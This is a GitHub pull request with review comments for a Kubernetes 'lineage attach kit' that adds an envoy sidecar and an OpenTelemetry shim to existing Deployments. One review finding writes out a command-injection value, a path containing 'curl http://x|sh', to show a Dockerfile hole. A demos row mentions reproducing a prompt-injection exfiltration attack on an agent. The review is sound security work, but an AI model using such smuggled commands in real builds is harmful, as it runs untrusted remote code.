Feat: Add the lineage attach kit for any running Deployment - #852
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authbridge/lineage-attach: attach the AuthBridge envoy sidecar with the lineage-telemetry plugin (rossoctl#761) to a Deployment that is already running, and nothing else. attach-lineage.sh generates the two objects — a per-app plugin ConfigMap and a strategic-merge patch (proxy-init, envoy-proxy, two config volumes, and opt-in one env var and one image reference on the app's own container) — validating every caller input; sidecar-patch.sh applies them live behind five read-only preconditions, prints the exact rollout undo to return to, and waits; build-otel-shim.sh + Dockerfile.otel-shim + lineage-propagate-hook.py bake a propagate-only OpenTelemetry layer onto an uninstrumented Python app image, activated by LINEAGE_PROPAGATE=1 through a site-packages hook (no command rewrite), refusing images that already instrument and attesting every bake; container-runtime.sh picks podman or docker and kind-loads either way. Lists merge by name, so nothing the owner wrote changes; a patch is one revision. Content capture (capture_io) keeps the plugin's default, off. Follows lineage wire contract v1.6 (parent.source tracestate / wire / none). RECIPE.md is the steps with expected output and back-out; README.md the idea, what the spans carry and the two attach routes (live, or your own kustomization); DESIGN.md why propagation is the app's job, the shim's envelope, the half-instrumented case, and the limits. Assisted-By: Claude (Anthropic AI) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01MX9Cs16SmYgwU7trMHPfc3 Signed-off-by: YehoshuaSagron <ysagron@gmail.com>
A Reference row beside the other configuration-only entries: the kit attaches per-request lineage to any existing Deployment and deploys no application. Assisted-By: Claude (Anthropic AI) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01MX9Cs16SmYgwU7trMHPfc3 Signed-off-by: YehoshuaSagron <ysagron@gmail.com>
📝 WalkthroughWalkthroughAdds the Lineage Attach Kit for Kubernetes workloads. It generates sidecar manifests, applies them to existing Deployments, bakes a Python OpenTelemetry propagation shim, validates image behavior, and documents configuration, operation, troubleshooting, and telemetry attribution. ChangesLineage attachment workflow
Estimated code review effort: 4 (Complex) | ~45 minutes Merge Risk: 🟡 Moderate · up to Attaching lineage can destroy existing configuration or fail a Deployment rollout for containers using valueFrom, so these issues should be fixed before merge. Suggested reviewers: Sequence Diagram(s)sequenceDiagram
participant Operator
participant sidecar-patch.sh
participant attach-lineage.sh
participant Kubernetes
participant Workload
participant OTLP Collector
Operator->>sidecar-patch.sh: provide Deployment and attachment settings
sidecar-patch.sh->>Kubernetes: check Deployment and ConfigMap preconditions
sidecar-patch.sh->>attach-lineage.sh: generate ConfigMap and Deployment patch
sidecar-patch.sh->>Kubernetes: apply resources and wait for rollout
Workload->>Kubernetes: send HTTP traffic through envoy-proxy
Workload->>OTLP Collector: export lineage spans
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In `@authbridge/lineage-attach/attach-lineage.sh`:
- Line 122: Update the CAPTURE_IO export path in attach-lineage.sh so captured
payloads are sent only when OTEL_ENDPOINT uses https:// or an explicit
insecure-transport acknowledgement is set; otherwise refuse payload export and
preserve the existing endpoint behavior for non-capture flows.
- Line 206: Update the LINEAGE_PROPAGATE handling in the lineage attachment flow
to detect an existing environment entry that uses valueFrom before applying the
value: "1" patch. Refuse the operation or generate a replacement that explicitly
removes valueFrom, ensuring the resulting Kubernetes EnvVar contains only a
direct value.
In `@authbridge/lineage-attach/container-runtime.sh`:
- Line 1: Add set -euo pipefail near the beginning of container-runtime.sh,
alongside the existing shell declaration, so the sourced script consistently
runs with strict Bash error, unset-variable, and pipeline handling.
In `@authbridge/lineage-attach/sidecar-patch.sh`:
- Around line 151-153: Replace the ConfigMap creation command before the
deployment patch with kubectl create, preserving the here-string input and
existing cleanup flow so an existing authbridge-lineage-config-$DEPLOY aborts
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| APP_CONTAINER="${APP_CONTAINER:-}" | ||
| APP_IMAGE="${APP_IMAGE:-}" | ||
| OUTBOUND_PORTS_EXCLUDE="${OUTBOUND_PORTS_EXCLUDE:-}" | ||
| OTEL_ENDPOINT="${OTEL_ENDPOINT:-otel-collector.rossoctl-system.svc.cluster.local:4317}" |
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Sensitive Data Exposure (CWE-319): Cleartext Transmission of Sensitive Information
Reachability: Internal · Exploitability: Difficult
Require TLS before payload capture.
When CAPTURE_IO=true, the default OTEL_ENDPOINT uses plaintext gRPC, and TLS is enabled only for endpoints starting with https://. Require an https:// endpoint or an explicit insecure-transport acknowledgement before exporting captured payloads.
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In `@authbridge/lineage-attach/attach-lineage.sh` at line 122, Update the
CAPTURE_IO export path in attach-lineage.sh so captured payloads are sent only
when OTEL_ENDPOINT uses https:// or an explicit insecure-transport
acknowledgement is set; otherwise refuse payload export and preserve the
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| app_patch="${app_patch} | ||
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| - { name: LINEAGE_PROPAGATE, value: \"1\" }" |
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Kubernetes official API EnvVar value and valueFrom cannot both be specified strategic merge patch env list merge key name
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In the Kubernetes API, the fields value and valueFrom within an EnvVar object are mutually exclusive [1][2][3]. You cannot specify both for the same environment variable; attempting to do so will result in a validation error [4][5][6]. When using kubectl apply or kubectl patch with the default strategic merge patch strategy, this mutual exclusivity often causes issues during updates [4][5][7]. Because strategic merge patch merges lists based on a merge key—in the case of the env list, the merge key is name [8][9][10]—a patch might unintentionally attempt to keep a previously set value while introducing a new valueFrom (or vice-versa) [4][5]. The resulting error, commonly cited as "Invalid value: "": may not be specified when value is not empty," occurs because the final merged state of the EnvVar object contains both fields [4][5][6]. To resolve this during updates, you must explicitly nullify the field you are removing. For example, if you are transitioning an environment variable from value to valueFrom, your patch should explicitly set value: null [5]. This ensures the merge process correctly removes the existing value instead of retaining it alongside the new valueFrom [5]. Alternatively, ensuring your manifest or patch correctly defines only one of the two fields is required to maintain a valid API object [4][5].
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- 1: https://app.unpkg.com/kubernetes-models@5.1.0/files/v1/EnvVar.d.ts
- 2: https://kubernetes-client.github.io/javascript/classes/V1EnvVar.html
- 3: https://javadoc.io/static/io.kubernetes/client-java-proto/18.0.1/io/kubernetes/client/proto/V1.EnvVar.html
- 4: GitHub issue 8994 in helm/helm (link omitted to avoid creating a cross-reference)
- 5: GitHub issue 46861 in kubernetes/kubernetes (link omitted to avoid creating a cross-reference)
- 6: GitHub issue 4761 in kserve/kserve (link omitted to avoid creating a cross-reference)
- 7: GitHub issue 35134 in kubernetes/kubernetes (link omitted to avoid creating a cross-reference)
- 8: https://kubernetes.io/docs/tasks/manage-kubernetes-objects/update-api-object-kubectl-patch/
- 9: GitHub issue 44111 in kubernetes/kubernetes (link omitted to avoid creating a cross-reference)
- 10: https://github.com/kubernetes/community/blob/94b696bef96aefba2ca9bf97029694565a84495e/contributors/devel/sig-api-machinery/strategic-merge-patch.md
Handle an existing LINEAGE_PROPAGATE.valueFrom entry.
If the target container already defines LINEAGE_PROPAGATE with valueFrom, the strategic merge adds value: "1" without removing valueFrom. Kubernetes rejects the resulting EnvVar because these fields are mutually exclusive. Preflight this entry and refuse it, or emit a replacement that removes valueFrom.
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In `@authbridge/lineage-attach/attach-lineage.sh` at line 206, Update the
LINEAGE_PROPAGATE handling in the lineage attachment flow to detect an existing
environment entry that uses valueFrom before applying the value: "1" patch.
Refuse the operation or generate a replacement that explicitly removes
valueFrom, ensuring the resulting Kubernetes EnvVar contains only a direct
value.
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Add set -euo pipefail near the start of authbridge/lineage-attach/container-runtime.sh.
The repository shell-script guideline applies to this sourced file. Its only caller already enables strict mode, so this change is compatible with current calling conventions.
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In `@authbridge/lineage-attach/container-runtime.sh` at line 1, Add set -euo
pipefail near the beginning of container-runtime.sh, alongside the existing
shell declaration, so the sourced script consistently runs with strict Bash
error, unset-variable, and pipeline handling.
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| kubectl apply -f - <<<"$cm" | ||
| kubectl patch deploy "$DEPLOY" -n "$NAMESPACE" --type strategic --patch "$patch" || { | ||
| kubectl delete cm -n "$NAMESPACE" "authbridge-lineage-config-$DEPLOY" # nothing else was written |
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Use kubectl create for the per-Deployment ConfigMap.
kubectl apply updates an existing authbridge-lineage-config-$DEPLOY; if the Deployment patch then fails, the unconditional delete removes it. Use kubectl create -f - <<<"$cm" so an existing ConfigMap aborts before overwrite or cleanup.
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In `@authbridge/lineage-attach/sidecar-patch.sh` around lines 151 - 153, Replace
the ConfigMap creation command before the deployment patch with kubectl create,
preserving the here-string input and existing cleanup flow so an existing
authbridge-lineage-config-$DEPLOY aborts before overwrite or deletion.
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| | **[abctl Walkthrough](weather-agent/demo-with-abctl.md)** | Reference | Watch the AuthBridge plugin pipeline live with the `abctl` TUI | Tooling only | | ||
| | **[IBAC](ibac/README.md)** | Intermediate | Intent-Based Access Control: LLM judge denies outbound HTTP that doesn't align with the user's recorded intent. Reproduces the email-poison / prompt-injection attack from `huang195/ibac`; chat with the agent through the rossoctl UI and see the exfiltration blocked, then `make show-result` for a pipeline-level forensic | UI + kubectl | | ||
| | **[SPARC (finance)](finance-sparc/README.md)** | Intermediate | SPARC pre-tool reflection: the `sparc` plugin blocks a hallucinated/ungrounded tool argument (an invented transaction id) before it executes and transparently asks the user to clarify, then approves the corrected call. Complements IBAC — SPARC verifies argument grounding, IBAC verifies intent alignment | UI + kubectl | | ||
| | **[Lineage attach kit](../lineage-attach/README.md)** | Reference | Attach per-request lineage to any existing Deployment: enable the `lineage-telemetry` plugin and every HTTP exchange becomes two facts-only spans (`request` + `response`, paired by `lineage.exchange.id`) sent to **any** OTLP consumer. A strategic-merge patch + ConfigMap, generated and validated; a propagate-only OTel shim for uninstrumented Python apps, activated by one env var | kubectl + scripts | |
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Should be removed since this is no longer a demo.
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An attach kit for a Deployment someone else owns, and the care shows throughout: every input validated before a byte is emitted, five read-only preconditions before the first write, both objects generated before anything is applied, and the back-out line printed before the rollout wait so a hung rollout still leaves a way home. local x; x="$(...)" is split correctly everywhere, so a generator refusal really does propagate under set -e.
I reviewed against the generator's real output rather than by reading alone — kubectl patch --local (v1.33.2) on synthetic targets, attach-lineage.sh run in every mode, and direct probes of the shell idioms. Four of the six must-fixes are things that came back from that and would not have surfaced from a read.
The two that matter most are both consequences of the same mechanism, and both hit a Deployment you do not own:
- Strategic merge prepends new list items, so
proxy-initlands ahead of the target's own initContainers while its egress redirect outlives it — any target whose init containers make an outbound call cannot start after the attach. - Volumes merge by name, so a pre-existing
envoy-configvolume is silently repointed and itsitemslist replaced wholesale.
Both are the class of breakage the five preconditions were built to prevent, which is why they read as gaps rather than decisions.
Checked and clean, so it is on record: YAML injection is genuinely airtight — yaml_safe provably rejects ", \, whitespace and control characters (I probed it), and allowing $(id) and backticks is correct, because those land in a double-quoted YAML scalar and never re-enter a shell. No unquoted expansion that could take a space, glob or empty value; the one deliberate word-split is gated by a digits-and-commas regex. local x=$(cmd) masking is absent throughout. Portability is clean on every trap I checked — no sed -i, base64 -w, grep -P, readlink -f, nothing needing bash ≥ 4 — so this works on macOS bash 3.2. --type strategic is the right patch type, the rendered YAML parses in both modes, and {.metadata.annotations.deployment\.kubernetes\.io/revision} is escaped correctly. KIND_CLUSTER_NAME ?= rossoctl matches the sibling Makefiles. The Python hook is exactly what the docs describe, and its fail-open policy is the right call for code riding inside someone else's app.
Two claims in the Gates section worth calibrating. CI's Shell Script Lint runs shellcheck --severity=error, which by design does not report SC2086, SC2046 or SC2155 — all warning level — so a green run there is real but narrower than it reads. And "every refusal is exit 2" holds for every validated-input refusal (13 of them), but ${NAME:?} and ${DEPLOY:?} exit 1; I checked.
Cross-PR: this depends on unmerged #761, which has changes requested as of today. The https:// route for an off-pod collector also inherits #761's system-roots-only TLS, so it cannot reach a collector with a cert-manager-issued certificate — worth keeping the two consistent. The README links into docs/plugin-catalog.md#lineage-telemetry and docs/lineage-wire-contract.md, which #761 adds; having read that PR, both targets exist, so the links resolve once it lands.
Areas reviewed: Shell (4 scripts, read in full), Dockerfile, Python, K8s patch semantics, docs, security. 2 commits, both signed off, no Co-Authored-By. CI 20/20 green, Spellcheck skipped. No .claude/ or .vscode/ changes.
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must-fix — a strategic merge prepends new list items, so proxy-init lands before the target's own initContainers. Reproduced with kubectl patch --local (v1.33.2) on this generator's output:
target: initContainers: [db-migrate]
merged: initContainers: [proxy-init, db-migrate]
authbridge/proxy-init/init-iptables.sh installs a blanket nat OUTPUT TCP REDIRECT to 15123, and those rules persist in the pod netns after proxy-init exits. envoy-proxy is a regular container, so it cannot start until every initContainer has completed. db-migrate therefore runs with its egress redirected to a port nothing is listening on: connection refused, init container fails, pod never starts. DNS survives — the redirect is TCP-only — which makes it look like an app bug rather than an attach artefact.
Any target whose init containers make an outbound call is affected: DB migrations, config fetch, schema registration, waiting on a dependency. No precondition covers it, and RECIPE.md:17 inspects initContainer names only, so nothing warns the operator.
Either fix works:
- a sixth precondition refusing a target that declares its own initContainers, with an explicit override for operators who know theirs are network-free;
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envoy-proxya native sidecar (aninitContainersentry withrestartPolicy: Always), which starts it ahead of the other init containers and closes the app-startup race in the same stroke.
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must-fix — volumes merge by name too, so a target that already has a volume named envoy-config has its source silently repointed, and configMap.items (KeyToPath, no merge key) is replaced wholesale rather than merged. Both reproduced locally:
before: {name: envoy-config, configMap: {name: my-own-envoy-cfg}}
after : {name: envoy-config, configMap: {name: envoy-config}}
before: {name: authbridge-runtime, configMap: {name: my-own-runtime,
items: [envoy.yaml, extra.yaml]}}
after : {name: authbridge-runtime, configMap: {name: authbridge-lineage-config-myapp,
items: [config.yaml]}}
The app's own volumeMounts are untouched, so /etc/envoy and /etc/authbridge quietly start serving different ConfigMaps and two of its files disappear — at the next pod start, with no error and nothing in a diff. envoy-config is platform-wide enough for this to be reachable (sidecar-patch.sh:69 calls it "rendered by the platform chart"), and a target can hold that volume without holding a container named envoy-proxy, so refuse_name_collision does not catch it.
This is the one counterexample to the claim the whole kit rests on (attach-lineage.sh:15, sidecar-patch.sh:5, README.md:81): here a name collision means something the owner wrote does change. It also couples into the ConfigMap-deletion path below — if the existing volume is a different type (emptyDir, secret, projected), the merged volume carries two type fields, the API server rejects the patch, and the compensation then deletes the ConfigMap.
Extending refuse_name_collision to .spec.template.spec.volumes[*].name covers it; "volume" currently appears nowhere in README, DESIGN or RECIPE.
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must-fix — NAMESPACE silently defaults to team1 and is emitted into both objects (:292 for the ConfigMap, :324 for the patch), but the string team1 appears zero times in README, RECIPE, DESIGN or the PR body — I grepped all four. README.md:201 lists NAMESPACE as a knob without its default.
So the "bring your own manifests" example at README.md:101-104, which omits NAMESPACE, writes namespace: team1 into lineage-cm.yaml. Fed to the kustomization.yaml at README.md:106-112 with a Deployment in any other namespace, kubectl kustomize exits 0 with no warning and renders the ConfigMap in team1 and the Deployment in its own namespace — the patched pod then mounts a ConfigMap that does not exist there and hangs in ContainerCreating. README.md:248 documents only the envoy-config flavour of that symptom ("Not a platform-set-up namespace"), which points the user somewhere else entirely.
The adopt route at README.md:73 has the same omission but fails cleanly (deployments.apps "x" not found in team1), so that half alone would be a suggestion. Adding NAMESPACE= to both examples and stating the default beside the knob fixes both.
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| # SIDECAR_IMAGE default ghcr.io/rossoctl/cortex/authbridge-envoy:latest — | ||
| # UNTIL A RELEASE CARRIES lineage-telemetry (cortex #761) it | ||
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must-fix — "it boots without the plugin" is not the failure mode. plugins.Build fails closed on an unregistered name:
// authlib/plugins/registry.go:296
return nil, fmt.Errorf("unknown plugin %q (registered: %v)", e.Name, pluginNames)So with the default SIDECAR_IMAGE — a published :latest predating #761 — the emitted ConfigMap names lineage-telemetry, the sidecar refuses to start, and because proxy-init has already redirected the pod's egress to an envoy that never comes up, the target workload is broken, not merely un-instrumented. That is the default path, and the header currently promises graceful degradation on it.
NO_EMIT=1 is the actual graceful option (the parsers exist in older images), so it is what this note should point at until a release carries the plugin. Worth naming the crashloop explicitly too: recovery works, since rollout status fails and the back-out line is printed first, but only for someone who knows what they are looking at.
| # The env the image declares, then the common venv layouts, then PATH. | ||
| local candidates virtual_env c | ||
| candidates=() | ||
| virtual_env="$("$CONTAINER_TOOL" inspect --format '{{range .Config.Env}}{{println .}}{{end}}' "$base_ref" \ |
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must-fix — this reads VENV_PYTHON from the base image's own VIRTUAL_ENV, and it reaches two unquoted, shell-form RUN lines:
# Dockerfile.otel-shim:51
RUN uv pip install --no-cache --python ${VENV_PYTHON} --system --break-system-packages \
# Dockerfile.otel-shim:64
RUN sp="$(${VENV_PYTHON} -c 'import sysconfig; ...')"The only validation is runs_python, which just needs an executable at that literal path — and Linux filenames may contain ;, $( ), backticks and spaces. A base image shipping its interpreter at /opt/v;curl http://x|sh;#/bin/python satisfies the probe and yields RUN uv pip install --python /opt/v;curl http://x|sh;#/bin/python …, i.e. arbitrary commands running inside the build — with network, and the resulting image is then kind-loaded.
The host-side quoting is correct; the injection is into the Dockerfile. This matters because the script explicitly adopts an untrusted-image posture — line 21, "Every probe runs the (unaudited) app image with --network=none" — and this is the one step that hands that image's data to a networked build. Validating against ^/[A-Za-z0-9._/-]+$ before use, and quoting the ARG in the Dockerfile, closes it.
Separately on this line and :106: both use a bare inspect, while :51 and :59 correctly use image inspect. Docker and podman both resolve a bare inspect against containers first, so a container that happens to share the base ref's name (docker run --name my-agent my-agent) silently supplies the interpreter and uid/gid. Containers expose .Config.Env/.Config.User too, so it produces wrong build-args rather than an error.
| # | ||
| # Build with build-otel-shim.sh (detects the build-args, refuses images it | ||
| # cannot safely wrap, attests the result, kind-loads it). Direct: | ||
| # podman build -f Dockerfile.otel-shim --build-arg BASE_IMAGE=<app> -t <app>-otel:latest . |
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suggestion — this direct invocation passes only BASE_IMAGE, so APP_UID=1001 / APP_GID=0 silently apply and any base running as a different user has its runtime uid changed by the bake. The asymmetry is the trap: VENV_PYTHON's default fails loudly (the RUN errors when the path is absent) while these two fail silently — the image builds and only breaks at runtime on permissions. Either drop this line in favour of build-otel-shim.sh, which detects both, or declare the two ARGs with no default so an unset value renders USER : and fails the build.
Related, and worth a line in DESIGN: :31/:68 rewrite USER root → USER <uid>:<gid>, so a base image's named user becomes numeric and loses its supplementary groups. DESIGN.md:82 correctly says the ENTRYPOINT/CMD is never rewritten; the USER rewrite is documented nowhere. On the same passage, DESIGN.md:85 says the bake "attests both halves" of the runs-exactly-as-its-base claim — verify_inert starts a bare interpreter and never executes the image's ENTRYPOINT/CMD, so it proves the no-OTel-module half only.
| image: "${SIDECAR_IMAGE}" | ||
| imagePullPolicy: IfNotPresent | ||
| args: ["--config", "/etc/authbridge/config.yaml"] | ||
| securityContext: |
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nit — neither generated container sets seccompProfile: { type: RuntimeDefault }. The reference named for hardening parity does set it (demos/mtls/k8s/callee-envoy.yaml:33), but at pod level — which an attach patch correctly must not do, since it would land on the owner's app container too. Container-level on the kit's own two has no such objection, and RuntimeDefault does not interfere with proxy-init's iptables work. Worth either adding, or saying in the body that pod-level seccomp is deliberately out of scope for a patch.
| podman save -o "$tar" "$ref" \ | ||
| && KIND_EXPERIMENTAL_PROVIDER=podman kind load image-archive "$tar" --name "$KIND_CLUSTER_NAME" \ | ||
| || rc=$? | ||
| rm -f "$tar" # on success and failure alike |
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nit — the comment is accurate for exit statuses but not for signals: Ctrl-C during podman save skips this line and leaves the archive behind, which for an app image is easily multiple GB in TMPDIR. trap 'rm -f "$tar"' RETURN INT TERM right after the mktemp covers all three paths. It is the only temp file in the four scripts.
Also here: :34's kind_load_${CONTAINER_TOOL} supports only the literals podman/docker, while build-otel-shim.sh:22 and README.md:245 advertise CONTAINER_TOOL as a general override — nerdctl, or an absolute path like /opt/homebrew/bin/podman, builds fine and then dies with command not found after both attestations. Validating the value in container_tool() fails it in the right place.
| platform-rendered `envoy-config` ConfigMap is in the namespace, no container | ||
| already named `envoy-proxy`/`proxy-init`, no port collision, `APP_CONTAINER` | ||
| names a real container), applies the ConfigMap, | ||
| patches the Deployment, and waits for the rollout. The patch only *adds*: |
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nit — "The patch only adds" (and :108's "# yours untouched") is contradicted by the kit's own documentation two sections later. attach-lineage.sh:200-206 replaces a field the owner wrote:
if [ -n "$APP_IMAGE" ]; then
app_patch="${app_patch}
image: \"${APP_IMAGE}\""README.md:126-128 already says the patch swaps image and leaves imagePullPolicy alone, so the absolute phrasing here just needs qualifying — "only adds, except the app container's image when APP_IMAGE is given".
| KIND_CLUSTER_NAME=rossoctl ./build-otel-shim.sh $IMAGE | ||
| ``` | ||
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| Pass: last line `>> loaded docker.io/library/<name>-otel:latest into kind cluster rossoctl` |
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nit — a handful of small doc-vs-code slips, grouped since each is one line:
- This pass criterion is not the last line: after that
echo,publish()unconditionally prints a>> NOTE:block (build-otel-shim.sh:227-237) — 5 lines by default, 3 underSELF_ACTIVATE=1.RECIPE.md:3explicitly targets "an operator or a coding agent", so a literal last-line check fails a successful bake. README.md:133showsSELF_ACTIVATE=1 ./build-otel-shim.shwith no image argument;build-otel-shim.sh:31requires one and exits 1.DESIGN.md:186-191attributes three refusals toFORCE_BAKE=1, butbuild-otel-shim.sh:137scopes it torefuse_already_instrumentedonly —detect_pythonstill exits 3 regardless. (build-otel-shim.sh:15gets this right by scoping the flag to "the interlock", andRECIPE.md:52's "pass the interpreter as arg 3" is the correct escape hatch there.)sidecar-patch.sh:15-16andRECIPE.md:104describe the back-out as the line the script "prints last"; it prints beforerollout statusand before the final>> lineage sidecar attached— as RECIPE's own expected-output block at:66-71correctly shows. Deliberate and right; just not "last".- Implemented but undocumented:
NO_KIND_LOAD=1, and positional args 2 (wrapper-tag) and 4 (app-uid[:gid]) —RECIPE.md:52mentions only arg 3.
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Summary
authbridge/lineage-attach/: attach per-request data lineage to a Deployment that is alreadyrunning, and nothing else. It attaches the envoy-sidecar, enables the
lineage-telemetryplugin (#761),and every HTTP exchange becomes two facts-only spans sent to any OTLP consumer; for an uninstrumented
Python app it also bakes a propagate-only OpenTelemetry layer, activated by one environment variable,
so the pairing is correct under concurrency. Nine files, 1,540 lines, additions only, plus one Reference
row in the demos index.
Depends on: #761 (the plugin; this kit follows its wire contract v1.6 and was validated against
e45bda99) — merge after it. Based on currentmain.Start reading at
RECIPE.md(the steps with expected output and back-out), thenREADME.md(theidea, what the spans carry, the two attach routes), then
DESIGN.md(why propagation is the app's job,the shim's envelope, the case that looks fine and is not, the limits).
Supersedes #762, which carried the kit and the demo together with the work history; this is the kit
alone, on a curated history. A runnable demo on the Weather Agent pair follows as its own PR once
this one lands.
What is in the diff
attach-lineage.shEMIT=patch(default) orEMIT=cm; validates every caller input; never touches the clustersidecar-patch.shrollout undo --to-revision→ rollout waitbuild-otel-shim.shDockerfile.otel-shimlineage-propagate-hook.py.pth+ module); the image's command is never rewrittencontainer-runtime.shREADME.md·RECIPE.md·DESIGN.mddemos/README.mdAttach only
The kit never deploys an application. It emits one strategic-merge patch (proxy-init, envoy-proxy, two
config volumes, and — opt-in — one env var and one image reference on the app's own container) and one
ConfigMap (the parser chain plus the plugin entry). Lists merge by name, so nothing the owner wrote
changes. A patch is one revision; the applier prints the exact line to return to it.
Two routes to the same two objects: adopt a live Deployment (
DEPLOY=<name> ./sidecar-patch.sh:the Deployment exists; the platform-rendered
envoy-configis in the namespace; no container alreadynamed
envoy-proxyorproxy-init; no container declares 9090/15123/15124;APP_CONTAINER, if given,names a real container — a strategic merge would otherwise add a stub), or bring your own manifests
(
EMIT=cmandEMIT=patchto files under akustomization.yaml; verified withkubectl kustomizev5.7.1 and
kubectl patch --local: identical result).Propagation
The sidecar sees every hop but cannot know which inbound caused which outbound; only code inside the
request can carry the context through. When the app does not, #761's plugin does not guess: the hop
records
parent.source=noneand fragments, visibly. For an uninstrumented Python app(Starlette/ASGI/FastAPI in; httpx/requests/aiohttp/urllib3 out;
threadingacross executors) the shimsupplies it: bake, then
APP_CONTAINER=<name>mergesLINEAGE_PROPAGATE=1into that container's envand
APP_IMAGEpoints it at the baked image; the hook runs stock auto-instrumentation at interpreterstart only under that variable, every exporter pinned to
none. An app that instruments itself isrefused by the bake interlock (
REFUSING to bake …: it already instruments httpx) and uses its ownswitch. DESIGN covers the half-instrumented app, the case every per-trace check passes while attribution
is entirely lost.
Defaults are the plugin's
capture_iois off unlessCAPTURE_IO=true; the cap is the plugin's 4096 unlessMAX_PAYLOAD_BYTESsays otherwise (
-1attaches whole). README's prerequisites state what capture ships: PII-bearingcontent, plain gRPC unless
OTEL_ENDPOINTishttps://…, printed into the collector's pod log on thestock platform.
The generated pieces
Same hardening as
demos/mtls: all capabilities dropped, no privilege escalation,proxy-initadds backexactly
NET_ADMIN+NET_RAWas root,envoy-proxynon-root as 1337 with a readiness probe on itsinbound listener, requests and limits on both. Every caller input is validated before it is emitted
(RFC 1123 / DNS-label names, ports in 1–65535 with no leading zeros, enumerated switches, free-form
values refused if they carry
",\or whitespace); every refusal isexit 2.Evidence
refused, gate-off inertness, and gate-on propagation proven end to end — an inbound
traceparentandtracestatesurvive Starlette, a thread pool andrequeststo the outbound call.e45bda99: the Weather Agentpair adopted capture-only, then with the app's own propagation: one turn = 35 exchanges, 70 spans, 19
traces before, one trace, 1
wire/ 34tracestate/ 0none, 0 strays after. That run is thedemo PR; it is reproducible in six steps.
derived interactions; two concurrent turns, 0 cross-talk. It found the
urllib3gap and the plaintextPostgres case; both fixes are here.
Gates
shellcheck --severity=error(as the Security Scans job runs it): exit 0 on all four scripts (defaultseverity: one
SC1091info).hadolint --failure-threshold errorwith the repo's ignore list: exit 0(one
DL3066info).ruffat the pre-commit pin,bandit -ll: clean.git diff --check: clean.Generated YAML: every mode parses and passes a server-side dry-run; every refusal
exit 2. Reviewedfour times with the org's review skill as a dry run, the last an independent clean-room read; every
must-fix closed.
Assisted-By: Claude (Anthropic AI) noreply@anthropic.com
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